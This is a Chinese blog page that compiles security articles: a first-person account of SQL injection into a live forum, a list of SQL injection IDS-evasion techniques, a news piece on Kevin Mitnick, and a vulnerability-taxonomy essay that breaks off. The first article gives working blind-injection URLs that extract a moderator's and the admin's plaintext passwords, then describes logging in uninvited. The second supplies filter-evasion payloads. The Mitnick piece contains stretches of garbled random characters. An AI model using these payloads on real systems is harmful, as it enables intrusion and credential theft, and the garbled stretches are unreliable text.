现在的位置: 首页 > 综合 > 正文

关于SQL的一些技巧

2012年03月30日 ⁄ 综合 ⁄ 共 9333字 ⁄ 字号 评论关闭
 

利用最基本的SQL注入渗透BBSXP官方网站的台后管理  

来源:塞迪网社区
漏洞分析
序:

不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下
:
1.
找出漏洞并分析漏洞
.
2.
利用漏洞,得到前台区长密码
.
3.
利用漏洞,得到后台密码
.
4.
添加公告,闪人
!

开始工作:

bbsxp官方网站下载最新的bbsxp

第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************
源代码
***************************************************//
<%

if request.cookies("username")="" then
error("
您还还未登陆社区")
end if

select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已经添加到网络收藏夹!")

case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的无用代码略掉********************************//

看到代码了,首先要注册使用本功能.
然后在这个asp文件中提交的参数有:menu,id就这两个值
.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。

攻击演示

第二步,利用漏洞,得到前台管理员密码.

接到上面的来。我们测试一下这个漏洞是不是存在.
自己先添加一个收藏地址进去.得到收藏的id(我们得到的是576)

ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。

现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb
.

提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)

呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就delid576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。

count(*)
的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。

最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。

因为正确一个就会del一个收藏地址。

采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(
字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错
.

本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。
所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。

当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id588的记录.
ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位
.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj

这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.证明第一个字符的asc码大于100
相反,你也可以这样测试:..asc(mid(userpass,1,1))<105
如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当
asc(mid(userpass,1,1))=103
如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系
]
这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。

添加收藏也慢得要死。
好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj

第三步:得到后台管理密码;

看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.
我们要的就是他。我们就要取到这个字段的值
.
这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条
.

再次利用我们第二步的漏洞.进行猜解.
一样的办法。得到后台密码长度为:9
.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
刚好正确。
想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。

猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok
。第一位出来了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.
第二位也出来了。前两位是bb.

呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。

现在我们用left函数取前5
说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又对了。呵呵,还有四位,想不出来了。我们又破到了两位.
前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。

兄弟们都想了好久,最后想到了cool试试吧!!!
最了,最后居然对了。就是cool密码就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)

现在有前台的账号,和后台的密码。进去发布公告吧!

第四步:发布公告.
进入后台我们发布了记他注意脚本安全的公告,然后闪人
!

结束句:
前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!
我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!
我们也一样会努力认真的再次对你们的论坛进行测试的。

 

(字节数 : 7011)

 

SQL Injection规避入侵检测技术总结   

当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
or 1=1%6f%72%20%31%3d%31
Test
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉,并不影响运行。

三、 运用字符串判断代替经典的or 1=1判断绕过,or ‘swords’=‘swords’
四、 通过类型转换修饰符N绕过,如or ‘swords’ = N’swords’,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS

五、 通过+号拆解字符串绕过,
or ‘swords’=‘sw’+’ords’
EXEC(‘IN’+’SERT INTO ‘+’…..’)
六、 通过LIKE绕过,如
or ‘swords’ LIKE ‘sw’
七、 通过IN绕过,
or ‘swords’ IN (‘swords’)
八、 通过BETWEEN绕过,
or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
九、 通过>或者<绕过,如

or ‘swords’>‘sw’
or ‘swords’<‘tw’
or 1<3
十、 运用注释语句绕过:
/**/代替空格,如:

UNION /**/ Select /**/user
pwdfrom tbluser
/**/分割敏感词,如:

U/**/ NION /**/ SE/**/ LECT /**/user
pwd from tbluser
十一、 用HEX绕过,一般的IDS都无法检测出来。

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
以上的十一条SQL Injection规避入侵检测技术供您参考。

 

(字节数 : 1414)

 

著名黑客称防攻击最好武器是人而不是技术

对于关注安全问题的朋友来说,凯文·米特尼克(Kevin Mitnick)的名字应该是大名鼎鼎的了。在今年的Citrix iForum上,这位世界头号黑客谈了他对于安全问题的一些看法,并提出了一些自己的建议。他认为,应付针对敏感信息的社会工程攻击的最好武器是训练有素的人,而不是技术。 O ij S*/4
2w7$g4 0SY
      
米特尼克在疯狂地进行了两年的黑客活动后,在联邦监狱度过了五年的岁月,同时禁止上网八年。现在,他要给曾经攻击过的公司提建议了。 }: s6eq> 2
GT9:YQ Ml'
  他说:人们通常习惯于用技术来解决问题,但社会工程学(social engineering)绕过了所有技术,包括防火墙。技术很关键,但我们更应该看重人和方法。社会工程学是一种利用诱惑策略的攻击方式。它不单单是个技术性问题,更是关于人的问题。 w4:llu>&S\
@- =>7;8nh
  那么黑客们为什么要使用社会工程学方式?因为这比寻找技术漏洞更简单。互联网是如此宽广,而社会工程学无需花费或者花费很低,没什么风险,可以避开所有的防护系统,在任何操作系统上都能进行,不会留下犯罪痕迹,几乎百分之百有效,而且人们还没有普遍意识到这个问题。它可以很简单,也可以很复杂;可以只花几分钟时间,也可以花上好几年。 v- "0`5Gn>
gVqd X j
  苦心积虑的借口或者托辞是社会工程学的关键所在,因为人们需要有合理的理由才能去满足一个请求。 h<k` c*' z
DMpXgX*~:q
  为了达到目的,黑客们会给自己定义一个身份或者角色,带着和善的面孔去和人联系,慢慢诱惑对方步入自己的圈套。不过他们不会直接下狠手,总是会留下余地,免得一无所获。 LS0#a*\
(M LG' *i5
  米特尼克还讲述了自己如何利用社会工程学从银行里提取数百万美元以及如何利用摩托罗拉研发部门的一个雇员盗取其手机源代码的经历。 !0E[x:G m

0& _ AHv
  不过,米特尼克表示自己也不能摆脱社会工程学的束缚:今年早些时候他就收到一封钓鱼式”E-mail,让他泄漏了自己的PayPal帐户信息。 <Z hn Ja]
I7 ZkMCaS?
  为了对抗社会工程攻击,米特尼克认为必须组建由人组成的防火墙,并且抛弃刀枪不入之类的幻想。他对公司的建议是:建立雇员参与机制,制定简单的规则,确定什么是敏感信息,组建由人组成的防火墙,提高安全意识。 5X\9/y]O _
d 5zR !
  最后,米特尼克表达了自己的一点期望:攻击是真实的,威胁也是真实的,所以我希望每个人都行动起来,做点儿什么。

 

(字节数 : 1953)

安全漏洞杂谈

·  作者:watercloud

·  来自:xfocus

·  更新:20061129日  

·   

·  目录:
   
一、不同角度看安全漏洞的分类
    
   
二、不同角度看待漏洞利用
    
   
三、漏洞发掘方法
    
   
四、漏洞等级评定
    
   
五、
DEMO    
   
参考
    

   
      网络安全的核心目标是保障业务系统的可持续性和数据的安全性,而这两点的主要威胁来自于蠕虫的暴发、黑客的攻击、拒绝服务攻击、木马。蠕虫、黑客攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了IE的漏洞,让你在浏览网页时不知不觉的就中了招。
     
安全漏洞的定义已经有很多了,我这里给出一个通俗的说法就是:能够被利用来干原本以为不能干的事,并且和安全相关的缺陷。这个缺陷可以是设计上的问题、程序代码实现上的问题。
   
一、不同角度看安全漏洞的分类
   
   
   
对一个特定程序的安全漏洞可以从多方面进行分类。
   
    1.
从用户群体分类:
      ●
大众类软件的漏洞。如Windows的漏洞、IE的漏洞等等。
      ●
专用软件的漏洞。如Oracle漏洞、Apache漏洞等等。
   
   
    2.
从数据角度看分为:
      ●
能读按理不能读的数据,包括内存中的数据、文件中的数据、用户输入的数据、数据库中的数据、网络上传输的数据等等。
      ●
能把指定的内容写入指定的地方(这个地方包括文件、内存、数据库等)
      ●
输入的数据能被执行(包括按机器码执行、按Shell代码执行、按SQL代码执行等等)
   
    3.
从作用范围角度看分为:
      ●
远程漏洞,攻击者可以利用并直接通过网络发起攻击的漏洞。这类漏洞危害极大,攻击者能随心所欲的通过此漏洞操作他人的电脑。并且此类漏洞很容易导致蠕虫攻击,在Windows
      ●
本地漏洞,攻击者必须在本机拥有访问权限前提下才能发起攻击的漏洞。比较典型的是本地权限提升漏洞,这类漏洞在Unix系统中广泛存在,能让普通用户获得最高管理员权限。
   
    4.
从触发条件上看可以分为:
      ●
主动触发漏洞,攻击者可以主动利用该漏洞进行攻击,如直接访问他人计算机。
      ●
被动触发漏洞,必须要计算机的操作人员配合才能进行攻击利用的漏洞。比如攻击者给管理员发一封邮件,带了一个特殊的jpg图片文件,如果管理员打开图片文件就会导致看图软件的某个漏洞被触发,从而系统被攻击,但如果管理员不看这个图片则不会受攻击。
   
    5.
从操作角度看可分为:
      ●
文件操作类型,主要为操作的目标文件路径可被控制(如通过参数、配置文件、环境变量、符号链接灯),这样就可能导致下面两个问题:
        ◇
写入内容可被控制,从而可伪造文件内容,导致权限提升或直接修改重要数据(如修改存贷数据),这类漏洞有很多,如历史上Oracle TNS LOG文件可指定漏洞,可导致任何人可控制运行Oracle服务的计算机;
        ◇
内容信息可被输出,包含内容被打印到屏幕、记录到可读的日志文件、产生可被用户读的core文件等等,这类漏洞在历史上Unix系统中的crontab子系统中出现过很多次,普通用户能读受保护的shadow文件;
      ●
内存覆盖,主要为内存单元可指定,写入内容可指定,这样就能执行攻击者想执行的代码(缓冲区溢出、格式串漏洞、PTrace漏洞、历史上Windows2000的硬件调试寄存器用户可写漏洞)或直接修改内存中的机密数据。
      ●
逻辑错误,这类漏洞广泛存在,但很少有范式,所以难以查觉,可细分为:
        ◇
条件竞争漏洞(通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争)
        ◇
策略错误,通常为设计问题,如历史上FreeBSDSmart IO漏洞。
        ◇
算法问题(通常为设计问题或代码实现问题),如历史上微软的Windows 95/98的共享口令可轻易获取漏洞。
        ◇
设计的不完善,如TCP/IP协议中的3步握手导致了SYN FLOOD拒绝服务攻击。
        ◇
实现中的错误(通常为设计没有问题,但编码人员出现了逻辑错误,如历史上博彩系统的伪随机算法实现问题)
   
      ●
外部命令执行问题,典型的有外部命令可被控制(通过PATH变量,输入中的SHELL特殊字符等等)和SQL注入问题。
   
    6.
从时序上看可分为:
      ●
已发现很久的漏洞:厂商已经发布补丁或修补方法,很多人都已经知道。这类漏洞通常很多人已经进行了修补,宏观上看危害比较小。
      ●
刚发现的漏洞:厂商刚发补丁或修补方法,知道的人还不多。相对于上一种漏洞其危害性较大,如果此时出现了蠕虫或傻瓜化的利用程序,那么会导致大批系统受到攻击。
      ●0day
:还没有公开的漏洞,在私下交易中的。这类漏洞通常对大众不会有什么影响,但会导致攻击者瞄准的目标受到精确攻击,危害也是非常之大。
   
二、不同角度看待漏洞利用

    如果一个缺陷不能被利用来干原本不能干的事(安全相关的),那么就不能被称为安全漏洞,所以安全漏洞必然和漏洞利用紧密联系在一起。
   
漏洞利用的视角有:
      ●
数据视角:访问本来不可访问的数据,包括读和写。这一条通常是攻击者的核心目的,而且可造成非常严重的灾难(如银行数据可被人写)。
      ●
权限视角:主要为权限绕过或权限提升。通常权限提升都是为了获得期望的数据操作能力。
      ●
可用性视角:获得对系统某些服务的控制权限,这可能导致某些重要服务被攻击者停止而导致拒绝服务攻击。
      ●
认证绕过:通常利用认证系统的漏洞而不用受权就能进入系统。通常认证绕过都是为权限提升或直接的数据访问服务的。
      ●
代码执行角度:主要是让程序将输入的内容作为代码来执行,从而获得远程系统的访问权限或本地系统的更高权限。这个角度是SQL注入、内存指针游戏类漏洞(缓冲区溢出、格式串、整形溢出等等)等的主要驱动。这个角度通常为绕过系统认证、权限提升、数据读取作准备的。
   
   
三、漏洞发掘方法

    首先必须清除安全漏洞是软件BUG的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在黑客用的各种漏洞发掘手段里有模式可循的有:
    ●fuzz
测试(黑盒测试),通过构造可能导致程序出现问题的方式构造输入数据进行自动测试。
    ●

抱歉!评论已关闭.